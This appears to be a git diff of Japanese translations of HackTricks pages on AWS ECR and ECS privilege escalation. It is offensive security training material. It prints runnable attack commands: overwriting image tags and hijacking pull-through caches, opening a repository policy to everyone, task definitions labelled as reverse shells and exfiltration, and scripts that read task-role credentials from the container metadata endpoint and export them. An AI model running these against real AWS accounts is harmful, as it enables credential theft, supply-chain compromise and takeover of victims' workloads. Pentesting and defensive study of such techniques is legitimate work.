- ワークフロー実行に目に見えるエラーや障害が発生しない。
- Lambda のコードや実行トレースを監査しない限り検出が難しい。
- バックドアがコードや ASL ロジックに残っている場合、長期的な persistence を可能にする。
+- secrets、credentials、API keys、PII を含む機密データのsilent exfiltration。
+- ワークフローの実行には目に見えるエラーや失敗が発生しない。
+- Lambda のコードや実行トレースを監査しない限り検出は困難。
+- バックドアがコードや ASL logic に残っている場合、長期的な persistence を可能にする。


 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -6,7 +6,7 @@

 ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

-攻撃者が **`ecr:GetAuthorizationToken`** と **`ecr:BatchGetImage`** を持っていると、ECR にログインしてイメージをダウンロードできます。
+これらの権限（**`ecr:GetAuthorizationToken`** と **`ecr:BatchGetImage`**）を持つ攻撃者は ECR にログインしてイメージをダウンロードできます。

 For more info on how to download images:

@@ -14,11 +14,21 @@ For more info on how to download images:
 ../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
 {{#endref}}

-**影響の可能性:** トラフィック内の機密情報を傍受することで発生する間接的な privesc。
+**潜在的な影響:** トラフィック内の機密情報を傍受することによる間接的な privesc。

 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

-これらすべての権限を持つ攻撃者は **ECR にログインしてイメージをアップロードできます**。これは、これらのイメージが使用されている他の環境で権限を昇格させるのに役立つ場合があります。
+これらすべての権限を持つ攻撃者は **ECR にログインしてイメージをアップロード** できます。これは、そのイメージが使用されている他の環境での権限昇格に役立ちます。
+
+さらに、`ecr:PutImage` は既存のタグ（例えば `stable` / `prod`）を上書きするために使用でき、そのタグの下に異なるイメージマニフェストをアップロードすることで、タグベースのデプロイを実質的にハイジャックできます。
+
+下流の利用者がタグでデプロイし、タグ変更で **auto-refresh** する場合には特に影響が大きく、例えば:
+
+- **Lambda container image functions** (`PackageType=Image`) が `.../repo:stable` を参照している場合
+- ECS services / Kubernetes workloads が `repo:prod` を pull している場合（digest pinning をしていない）
+- Any CI/CD that redeploys on ECR events
+
+これらの場合、タグの上書きはコンシューマ環境での **remote code execution** およびそのワークロードが使用する IAM ロールへの権限昇格（例えば `secretsmanager:GetSecretValue` を持つ Lambda 実行ロール）につながる可能性があります。

 To learn how to upload a new image/update one, check:

@@ -28,12 +38,12 @@ To learn how to upload a new image/update one, check:

 ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`

-前のセクションと同様ですが、公開リポジトリ用です。
+前のセクションと同様ですが、パブリックリポジトリ向けです。

 ### `ecr:SetRepositoryPolicy`

-この権限を持つ攻撃者は **リポジトリのポリシーを変更して** 自身（または全員）に **読み取り/書き込みアクセス** を付与することができます。\
-例えば、この例では読み取りアクセスが全員に付与されています。
+この権限を持つ攻撃者は、**repository** **policy** を変更して自分自身（あるいは全員）に **read/write access** を付与することができます。\
+例えば、以下の例では全員に読み取りアクセスが付与されています。
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
@@ -59,8 +69,8 @@ aws ecr set-repository-policy \
 ```
 ### `ecr-public:SetRepositoryPolicy`

-前のセクションと同様ですが、公開リポジトリ向けです.\  
-攻撃者は、ECR Public repository の **リポジトリポリシーを変更する**ことで、不正に公開アクセスを付与したり、権限を昇格させたりできます。
+前のセクションと同様ですが、公開リポジトリ向けです。\
+攻撃者は ECR Public リポジトリの**リポジトリポリシーを変更**して、不正な公開アクセスを付与したり権限を昇格させたりできます。
 ```bash
 # Create a JSON file with the malicious public repository policy
 echo '{
@@ -87,11 +97,11 @@ echo '{
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-**潜在的影響**: ECR Public リポジトリへの不正な公開アクセスにより、任意のユーザーがイメージを push、pull、または delete できるようになる。
+**潜在的影響**: ECR Public repository への不正な公開アクセスにより、任意のユーザーがイメージを push、pull、delete できるようになります。

 ### `ecr:PutRegistryPolicy`

-この権限を持つ攻撃者は、**registry policy** を**変更**して、自分自身や自分のアカウント（あるいは全員）に**read/write access** を付与できる。
+この権限を持つ攻撃者は、**registry policy** を **change** して自分自身、あるいは自分のアカウント（または全員）に **read/write access** を付与することができます。
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
@@ -99,37 +109,37 @@ aws ecr set-repository-policy \
 ```
 ### ecr:CreatePullThroughCacheRule

-攻撃者が制御するアップストリーム名前空間を信頼された private ECR プレフィックスにマップするために、ECR Pull Through Cache (PTC) ルールを悪用します。これにより、private ECR からイメージをプルするワークロードは、private ECR に対してプッシュを行わなくても透過的に攻撃者のイメージを受け取るようになります。
+ECR Pull Through Cache (PTC) のルールを悪用して、attacker-controlled な upstream namespace を信頼された private ECR プレフィックスにマップします。これにより、private ECR からイメージを pull するワークロードは、private ECR に push することなく透過的に attacker のイメージを受け取ります。

- 必要な権限: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. ECR Public を upstream として使用する場合: ecr-public:*（public リポジトリの作成/プッシュ用）。
+- 必要な権限: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule。ECR Public upstream を使用する場合: public リポジトリの作成/プッシュには ecr-public:* が必要。
 - テスト済み upstream: public.ecr.aws

-手順（例）:
+Steps (example):

-1. Prepare attacker image in ECR Public
+1. ECR Public に attacker イメージを用意する
 # Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
 docker login public.ecr.aws/<public_alias>
 docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
 docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

-2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
+2. private ECR に PTC ルールを作成して、信頼されたプレフィックスを public レジストリにマップする
 aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

-3. Pull the attacker image via the private ECR path (no push to private ECR was done)
+3. private ECR 経由のパスで attacker イメージを pull する（private ECR への push は不要）
 docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
 docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
 docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

-潜在的影響: 選択したプレフィックス配下の内部イメージ名を乗っ取ることでサプライチェーンが侵害されます。そのプレフィックスを使って private ECR からイメージをプルするワークロードは、攻撃者が制御するコンテンツを受け取ります。
+Potential Impact: 選択したプレフィックス配下の内部イメージ名をハイジャックすることでサプライチェーンが侵害される可能性があります。そのプレフィックスを使用して private ECR からイメージを pull するワークロードはすべて attacker-controlled なコンテンツを受け取ります。

 ### `ecr:PutImageTagMutability`

-この権限を悪用して、タグが不変に設定されているリポジトリを可変に切り替え、trusted tags（例: latest, stable, prod）を攻撃者制御のコンテンツで上書きできます。
+この権限を悪用して、タグ不変性 (tag immutability) が有効なリポジトリを mutable に変更し、trusted tags（例: latest, stable, prod）を attacker-controlled なコンテンツで上書きできます。

- 必要な権限: `ecr:PutImageTagMutability` およびプッシュに必要な権限（`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`）。
- 影響: タグ名を変更せずに不変タグを静かに置き換えることでサプライチェーンが侵害される。
+- 必要な権限: `ecr:PutImageTagMutability` とプッシュに必要な権限（`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`）。
+- 影響: タグ名を変更せずに不変タグを密かに置き換えることでサプライチェーンが侵害される可能性があります。

-手順（例）:
+Steps (example):

 <details>
 <summary>mutability を切り替えて不変タグを汚染する</summary>
@@ -152,14 +162,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
 </details>


-#### Global registry hijack via ROOT Pull-Through Cache rule
+#### ROOT Pull-Through Cache ルールによるグローバルレジストリ hijack

-特別な `ecrRepositoryPrefix=ROOT` を使用して Pull-Through Cache (PTC) ルールを作成し、プライベート ECR レジストリのルートを上流のパブリックレジストリ（例: ECR Public）にマッピングします。プライベートレジストリに存在しないリポジトリへの pull は上流から透過的に提供され、private ECR に push しなくても supply-chain hijacking を可能にします。
+特殊な `ecrRepositoryPrefix=ROOT` を使って Pull-Through Cache (PTC) ルールを作成し、プライベート ECR レジストリのルートを上流の public registry（例: ECR Public）にマッピングします。プライベートレジストリ内に存在しないリポジトリへの pull は透過的に上流から提供され、private ECR に push せずに supply-chain hijacking を可能にします。

 - 必要な権限: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- 影響: Pulls to `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` succeed and auto-create private repos sourced from upstream.
+- 影響: `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` への pull が成功し、上流をソースとするプライベートリポジトリが自動作成されます。

-> 注意: For `ROOT` rules, omit `--upstream-repository-prefix`. Supplying it will cause a validation error.
+> 注: `ROOT` ルールでは `--upstream-repository-prefix` を省略してください。指定するとバリデーションエラーになります。

 <details>
 <summary>デモ (us-east-1, upstream public.ecr.aws)</summary>
@@ -191,17 +201,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
 ```
 </details>

-### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE` をダウングレードしてレジストリポリシーの Deny をバイパス)
+### `ecr:PutAccountSetting`（`REGISTRY_POLICY_SCOPE` をダウングレードしてレジストリポリシーの Deny をバイパス）

-`ecr:PutAccountSetting` を悪用してレジストリポリシーのスコープを `V2`（すべての ECR アクションに適用されるポリシー）から `V1`（`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` のみが対象）に切り替えます。制限的なレジストリポリシーの Deny が `CreatePullThroughCacheRule` のようなアクションをブロックしている場合、`V1` にダウングレードするとその強制が解除され、アイデンティティポリシーの Allow が有効になります。
+`ecr:PutAccountSetting` を悪用してレジストリポリシーのスコープを `V2`（すべての ECR アクションに適用）から `V1`（`CreateRepository`、`ReplicateImage`、`BatchImportUpstreamImage` のみ適用）に切り替えます。もし制限的なレジストリポリシーの Deny が `CreatePullThroughCacheRule` のようなアクションをブロックしている場合、`V1` にダウングレードするとその適用が外れ、identity‑policy の Allow が有効になります。

 - 必要な権限: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- 影響: 一時的にスコープを `V1` に設定することで、レジストリポリシーの Deny によって以前ブロックされていた ECR アクション（例: PTC rules の作成）を実行できるようになる。
+- 影響: レジストリポリシーの Deny によって以前ブロックされていた ECR アクション（例: PTC ルールの作成）を、スコープを一時的に `V1` に設定することで実行可能にする。

 手順（例）:

 <details>
-<summary>CreatePullThroughCacheRule に対する registry policy の Deny を V1 に切り替えてバイパス</summary>
+<summary>CreatePullThroughCacheRule に対するレジストリポリシーの Deny を V1 に切り替えてバイパス</summary>
 ```bash
 REGION=us-east-1
 ACCT=$(aws sts get-caller-identity --query Account --output text)
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -4,7 +4,7 @@

 ## ECS

-ECSに関する**詳細情報**は次を参照:
+**ECSに関する情報**は次を参照:

 {{#ref}}
 ../../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ ECSに関する**詳細情報**は次を参照:

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

-ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`の権限を悪用する攻撃者は、**新しいタスク定義を生成**し、メタデータの認証情報を盗む**悪意のあるコンテナ**を含めてそれを**実行する**ことができます。
+攻撃者がECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`の権限を悪用すると、メタデータ認証情報を盗む**悪意のあるコンテナ**を含む**新しいタスク定義を生成**し、それを**実行**できます。

 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#tab name="Webhook" }}

-webhook.site のようなサイトで webhook を作成する。
+webhook.site のようなサイトで webhook を作成する
 ```bash

 # Create file container-definition.json
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#endtabs }}

-**Potential Impact:** 別の ECS role への直接的な privesc。
+**Potential Impact:** 別の ECS role への直接 privesc。

 ### `iam:PassRole`,`ecs:RunTask`
-`iam:PassRole` と `ecs:RunTask` の権限を持つ攻撃者は、**execution role**、**task role**、およびコンテナの **command** の値を変更した状態で新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドには `--overrides` フラグがあり、タスク定義を変更せずに実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更できます。
+`iam:PassRole` と `ecs:RunTask` の権限を持つ攻撃者は、**execution role**、**task role**、およびコンテナの **command** の値を変更した新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドには `--overrides` フラグがあり、タスク定義を変更することなく実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更できます。

-`taskRoleArn` と `executionRoleArn` に指定された IAM ロールは、トラストポリシーで `ecs-tasks.amazonaws.com` による引き受けを許可／信頼している必要があります。
+`taskRoleArn` と `executionRoleArn` に指定された IAM ロールは、そのトラストポリシーで `ecs-tasks.amazonaws.com` による引き受け（assume）を許可している必要があります。

 また、攻撃者は以下を把握している必要があります:
 - ECS cluster name
 - VPC Subnet
- Security group (セキュリティグループが指定されていない場合はデフォルトのものが使用されます)
+- Security group (Security group が指定されない場合はデフォルトのものが使用されます)
 - Task Definition Name and revision
 - Name of the Container
 ```bash
@@ -105,9 +105,9 @@ aws ecs run-task \
 ]
 }'
 ```
-上のコードスニペットでは attacker は `taskRoleArn` の値のみを上書きしています。しかし、attack が成立するには、attacker がコマンドで指定した `taskRoleArn` とタスク定義で指定された `executionRoleArn` の両方に対して `iam:PassRole` 権限を持っている必要があります。
+上のコードスニペットでは攻撃者は `taskRoleArn` の値のみを上書きしています。ただし、この攻撃を行うには、攻撃者がコマンドで指定した `taskRoleArn` とタスク定義で指定された `executionRoleArn` の両方に対して `iam:PassRole` 権限を持っている必要があります。

-attacker が渡せる IAM ロールが ECR イメージのプルと ECS タスクの起動に必要な権限（`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`）を持っている場合、attacker は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
+攻撃者が渡せる IAM ロールが ECR イメージをプルして ECS タスクを起動するのに十分な権限（`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`）を持っている場合、攻撃者は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
 ```sh
 aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
 {
@@ -121,11 +121,11 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
 ]
 }'
 ```
-**Potential Impact:** 任意の ECS task role への直接的な privesc.
+**潜在的影響:** 任意の ECS task role への直接的な privesc.

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

-前の例と同様に、攻撃者が ECS 上で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 権限を悪用すると、メタデータ認証情報を盗む**悪意のあるコンテナ**を含む**新しい task definition**を生成して**実行**することができます。\
+前の例と同様に、ECSで**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**の権限を悪用する攻撃者は、**新しい task definition を生成**し、**悪意のあるコンテナ**でメタデータ認証情報を窃取して**それを実行する**ことができます。\
 ただし、この場合、悪意のある task definition を実行するための container instance が必要になります。
 ```bash
 # Generate task definition with rev shell
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Potential Impact:** 任意のECSロールへの直接的なprivesc。
+**Potential Impact:** 任意の ECS role への直接的な privesc。

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 

-前の例と同様に、ECSで**`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:UpdateService`** または **`ecs:CreateService`** 権限を悪用する攻撃者は、**メタデータ認証情報を窃取する悪意のあるコンテナ** を含む **新しいタスク定義を生成** し、少なくとも1つのタスクが稼働するサービスを作成してそれを**実行することができます。**
+前の例と同様に、ECSで **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** または **`ecs:CreateService`** の権限を悪用する攻撃者は、**新しいタスク定義を作成**して **悪意あるコンテナ** を組み込みメタデータの認証情報を盗み、**少なくとも1つのタスクを実行する新しいサービスを作成してそれを実行。**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**潜在的な影響:** 任意の ECS role への直接的な privesc.
+**Potential Impact:** 任意の ECS role への直接的な privesc。

 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

-実際には、これらの権限だけで overrides を使い、任意の role を割り当てたコンテナ内で任意のコマンドを実行できます。次のように：
+実際、これらの権限だけで、overrides を使って任意の role を割り当てたコンテナ内で任意のコマンドを実行することが可能です。例えば:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -181,13 +181,13 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Potential Impact:** 任意の ECS role への直接 privesc.
+**Potential Impact:** 任意の ECS role への直接的な privesc。

 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\
-これは依然として重要です。任意のコンテナを実行できる場合、たとえ role が付与されていなくても、**run a privileged container to escape** してノードに脱出し、**steal the EC2 IAM role** やノード上で動作している **other ECS containers roles** を奪うことができます。\
-侵害した EC2 インスタンス内で他のタスクを実行させて資格情報を盗むよう **force other tasks to run inside the EC2 instance** することさえ可能です（詳細は [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) を参照）。
+This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
+これは依然として興味深いシナリオです。任意のコンテナを実行できる場合、たとえ role がなくても、**run a privileged container to escape** ことでノードにエスケープし、**steal the EC2 IAM role** やノード上で実行されている**other ECS containers roles** を盗むことができます。\
+侵害した EC2 インスタンス内で **force other tasks to run inside the EC2 instance** することで、それらの資格情報を盗むことさえ可能です（[**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) で説明しています）。

 > [!WARNING]
 > この攻撃は **ECS cluster is using EC2** インスタンスを使用している場合にのみ可能で、Fargate では実行できません。
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
-ただし、そのためにはコンテナインスタンス上で **ExecuteCommand agent** が動作している必要がある（デフォルトでは動作していない）。
+権限 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **コマンドを実行** し、そこにアタッチされた IAM ロールを流出させることができます（`aws ecs execute-command` を実行するには describe 権限が必要なため）。\
+ただし、そのためにはコンテナインスタンスが **ExecuteCommand agent** を実行している必要があります（デフォルトでは実行されていません）。

-Therefore, the attacker cloud try to:
+したがって、攻撃者は次を試みる可能性があります:

- **実行中のすべてのコンテナでコマンドを実行してみる**
+- **実行中のすべてのコンテナでコマンドを実行しようとする**
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -256,18 +256,34 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
- もし **`ecs:RunTask`** の権限があれば、`aws ecs run-task --enable-execute-command [...]` でタスクを実行できます。
- もし **`ecs:StartTask`** の権限があれば、`aws ecs start-task --enable-execute-command [...]` でタスクを実行できます。
- もし **`ecs:CreateService`** の権限があれば、`aws ecs create-service --enable-execute-command [...]` でサービスを作成できます。
- もし **`ecs:UpdateService`** の権限があれば、`aws ecs update-service --enable-execute-command [...]` でサービスを更新できます。
+コンテナ内にshellを取得したら、通常、task credentials endpointから**task role credentials**を抽出してコンテナ外で再利用できます:
+```sh
+# Inside the container:
+echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

-**これらのオプションの例** は **前の ECS privesc sections** で見つけられます。
+# If you want to use them locally, print shell exports:
+python3 - <<'PY'
+import json, os, urllib.request
+u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
+d = json.load(urllib.request.urlopen(u, timeout=2))
+print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
+print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
+print("export AWS_SESSION_TOKEN=" + d["Token"])
+PY
+```
+- もし**`ecs:RunTask`**を持っていれば、`aws ecs run-task --enable-execute-command [...]`でタスクを実行します。
+- もし**`ecs:StartTask`**を持っていれば、`aws ecs start-task --enable-execute-command [...]`でタスクを実行します。
+- もし**`ecs:CreateService`**を持っていれば、`aws ecs create-service --enable-execute-command [...]`でサービスを作成します。
+- もし**`ecs:UpdateService`**を持っていれば、`aws ecs update-service --enable-execute-command [...]`でサービスを更新します。

-**潜在的な影響:** コンテナにアタッチされた別のロールへの Privesc。
+これらのオプションの**例**は**previous ECS privesc sections**で確認できます。
+
+**Potential Impact:** コンテナにアタッチされた別のロールへのprivesc。

 ### `ssm:StartSession`

-この権限を悪用して **privesc to ECS** する方法は、**ssm privesc page** を参照してください:
+この権限を悪用して**privesc to ECS**する方法は**ssm privesc page**を参照してください:

 {{#ref}}
 ../aws-ssm-privesc/README.md
@@ -275,7 +291,7 @@ aws ecs execute-command --interactive \

 ### `iam:PassRole`, `ec2:RunInstances`

-これらの権限を悪用して **privesc to ECS** する方法は、**ec2 privesc page** を参照してください:
+これらの権限を悪用して**privesc to ECS**する方法は**ec2 privesc page**を参照してください:

 {{#ref}}
 ../aws-ec2-privesc/README.md
@@ -283,16 +299,51 @@ aws ecs execute-command --interactive \

 ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

-これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録してその上でタスクを実行する可能性があります。これにより、攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになります。
+これらの権限を持つ攻撃者は、しばしば**「cluster membership」をセキュリティ境界のバイパスに変える**ことができます:
+
+- 被害者のECSクラスタに**attacker-controlled EC2 instance**を登録する（container instanceになる）
+- カスタムの**container instance attributes**を設定して**placement constraints**を満たす
+- ECSにそのホスト上でタスクをスケジュールさせる
+- ホスト上で実行中のタスクから**task role credentials**（およびコンテナ内の秘密/データ）を盗む
+
+大まかなワークフロー:
+
+1) ターゲットアカウント内で自分が管理するEC2インスタンスからEC2 instance identity document + signatureを取得する（例: SSM/SSH経由）:
+```bash
+curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
+curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
+```
+2) 対象のクラスターに登録し、必要に応じて配置制約を満たすための属性を設定する:
+```bash
+aws ecs register-container-instance \
+--cluster "$CLUSTER" \
+--instance-identity-document file://iidoc.json \
+--instance-identity-document-signature "$(cat iisig)" \
+--attributes name=labtarget,value=hijack
+```
+3) 参加していることを確認する:
+```bash
+aws ecs list-container-instances --cluster "$CLUSTER"
+```
+4) タスクを開始する / サービスを更新してインスタンス上で何かがスケジュールされるようにし、その後タスク内から task role creds を取得する:
+```bash
+# On the container host:
+docker ps
+docker exec -it <container-id> sh
+curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+```
+注意:
+
+- インスタンス識別ドキュメント/署名を使用してコンテナインスタンスを登録することは、対象アカウントの EC2 インスタンスにアクセス権（または既に乗っ取っていること）を持っていることを意味します。クロスアカウントの "bring your own EC2" については、このページの **ECS Anywhere** を参照してください。
+- Placement constraints は一般的にコンテナインスタンスの属性に依存します。どの属性を設定する必要があるかを把握するために、`ecs:DescribeServices`、`ecs:DescribeTaskDefinition`、および `ecs:DescribeContainerInstances` で列挙してください。

- TODO: 別の AWS アカウントからインスタンスを登録して、タスクが攻撃者が制御するマシン上で実行されるようにすることは可能か??

 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

 > [!NOTE]
-> TODO: Test this
+> 要テスト

-これらの権限（`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`）を持つ攻撃者は、既存の **ECS service** に対して **悪意のある task set を作成し primary task set を更新する** ことができます。これにより攻撃者はサービス内で **任意のコードを実行する** ことが可能になります。
+攻撃者が `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持っていると、既存の ECS サービスに対して **悪意のあるタスクセットを作成しプライマリタスクセットを更新することができます**。これにより攻撃者は、サービス内で **任意のコードを実行することができます**。
 ```bash
 # Register a task definition with a reverse shell
 echo '{
@@ -318,7 +369,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Potential Impact**: 影響を受けたサービスで任意のコードを実行でき、機能に影響を与えたり機密データを外部へ持ち出したりする可能性があります。
+**潜在的な影響**: 影響を受けたサービスで任意のコードを実行でき、その機能に影響を与えたり機密データを外部に流出させたりする可能性があります。

 ## References

@@ -332,35 +383,49 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi

 ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

-攻撃者が ECS capacity providers の管理やサービスの更新権限を持っている場合、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットのクラスターに関連付け、被害者のサービスをそのプロバイダに移行させることができます。すると tasks は攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを調査したりタスクの IAM ロール資格情報を窃取したりすることが可能になります。
+ECS capacity providers を管理し、サービスを更新する権限を持つ攻撃者は、自分が制御する EC2 Auto Scaling Group を作成してそれを ECS Capacity Provider にラップし、ターゲットの cluster に関連付けて被害者のサービスをこのプロバイダへ移行できます。そうするとタスクは攻撃者が管理する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを検査したり task role の資格情報を盗むことが可能になります。

 Commands (us-east-1):

 - 前提条件

- ターゲットクラスターに参加させるための Launch Template（ECS agent 用）を作成

- Auto Scaling Group を作成

- ASG から Capacity Provider を作成
-
- Capacity Provider をクラスターに関連付ける（必要に応じてデフォルトにする）
-
- サービスを自分のプロバイダに移行
-
- tasks が攻撃者インスタンスに配置されることを確認
-
- 任意: EC2 ノードから docker exec でターゲットコンテナに入り、http://169.254.170.2 を読み取ってタスクロールの資格情報を取得
-
- クリーンアップ
+- Create Launch Template for ECS agent to join target cluster



-**Potential Impact:** 攻撃者が制御する EC2 ノードに被害者の tasks が割り当てられ、コンテナへの OS レベルのアクセスやタスクの IAM ロール資格情報の窃取が可能になります。
+- Create Auto Scaling Group
+
+
+
+- Create Capacity Provider from the ASG
+
+
+
+- Associate the Capacity Provider to the cluster (optionally as default)
+
+
+
+- Migrate a service to your provider
+
+
+
+- Verify tasks land on attacker instances
+
+
+
